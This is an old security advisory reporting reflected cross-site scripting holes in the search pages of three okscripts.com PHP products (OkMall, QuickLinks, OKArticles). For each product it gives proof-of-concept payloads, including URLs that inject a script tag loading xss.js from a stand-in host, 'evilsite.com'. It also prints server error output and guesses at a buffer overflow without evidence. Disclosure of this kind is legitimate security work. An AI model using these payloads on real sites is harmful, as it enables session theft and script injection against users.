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securityvulnsSecurityvulnsSECURITYVULNS:DOC:13061
HistoryJun 10, 2006 - 12:00 a.m.

okscripts.com - XSS Vulns

2006-06-1000:00:00
vulners.com
11

OkMall v1.0

Homepage:
http://www.okscripts.com/

Effected files:

search.php

XSS Vulnerabilities:

The search inputbox doesn’t properally filter using input before generating it. Backslashes areadded
but we can easily
evade this.

ForPoC try putting a [imgsrc=lol.jpg]in the search box.

XSS vuln via URLinjection with possible buffer overflow?:

http://www.example.com/okmall/demo/search.php?q=a%20%20b%20e%20&mcdir=5&page=[SCRIPT%20SRC=http://evilsite.com/xss.js][/SCRIPT]

The above PoC creates the error msg:

Warning:
fopen(http://xml.amazon.com/onca/xml3?locale=us&t=boxxnetcom-20&dev-t=06464ERBRYHMP1RY3W82&KeywordSearch=a__b_e_&sort=+pmrank&offer=All&mode=classical&type=lite&page=This
is remote text via xss.jslocated at evilsite.com&f=xml): failed to open stream: HTTP request failed!
HTTP/1.1 500 Server Error in /usr/www/virtual/fithcash/domain/okmall/demo/xml.php on line 59

Warning: feof(): supplied argument is not a valid stream resource in
/usr/www/virtual/fithcash/domain/okmall/demo/xml.php on line 60

Warning: fread(): supplied argument is not a valid stream resource in
/usr/www/virtual/fithcash/domain/okmall/demo/xml.php on line 61

and continuously outputs feof() and fread() error messages on the page. Buffer overflow?


QuickLinks v1.1

Homepage:
http://www.okscripts.com/

Effected files:

cat.php

XSS Vulnerabilities:

The search inputbox doesn’t properally filter using input before generating it. Backslashes areadded
but we can easilyevade this. ForPoC try putting [IMG SRC=javascript:alert(’XSS’)] in the search box.

XSS vuln via URL injection:
http://www.example.com/quicklinks/demo/search.php?q=[SCRIPT%20SRC=http://evilsite.com/xss.js][/SCRIPT]


OKArticles v1.0

Homepage:
http://www.okscripts.com/

Effected files:

search.php

XSS Vulnerabilities:

The search inputbox doesn’t properally filter using input before generating it. Backslashes areadded
but we can easilyevade this. For PoC try putting [IMG SRC=javascript:alert(’XSS’)] in the search box.

XSS vuln via URL injection:
http://www.example.com/okarticles/demo/search.php?q=[SCRIPT%20SRC=http://evilsite.com/xss.js][/SCRIPT]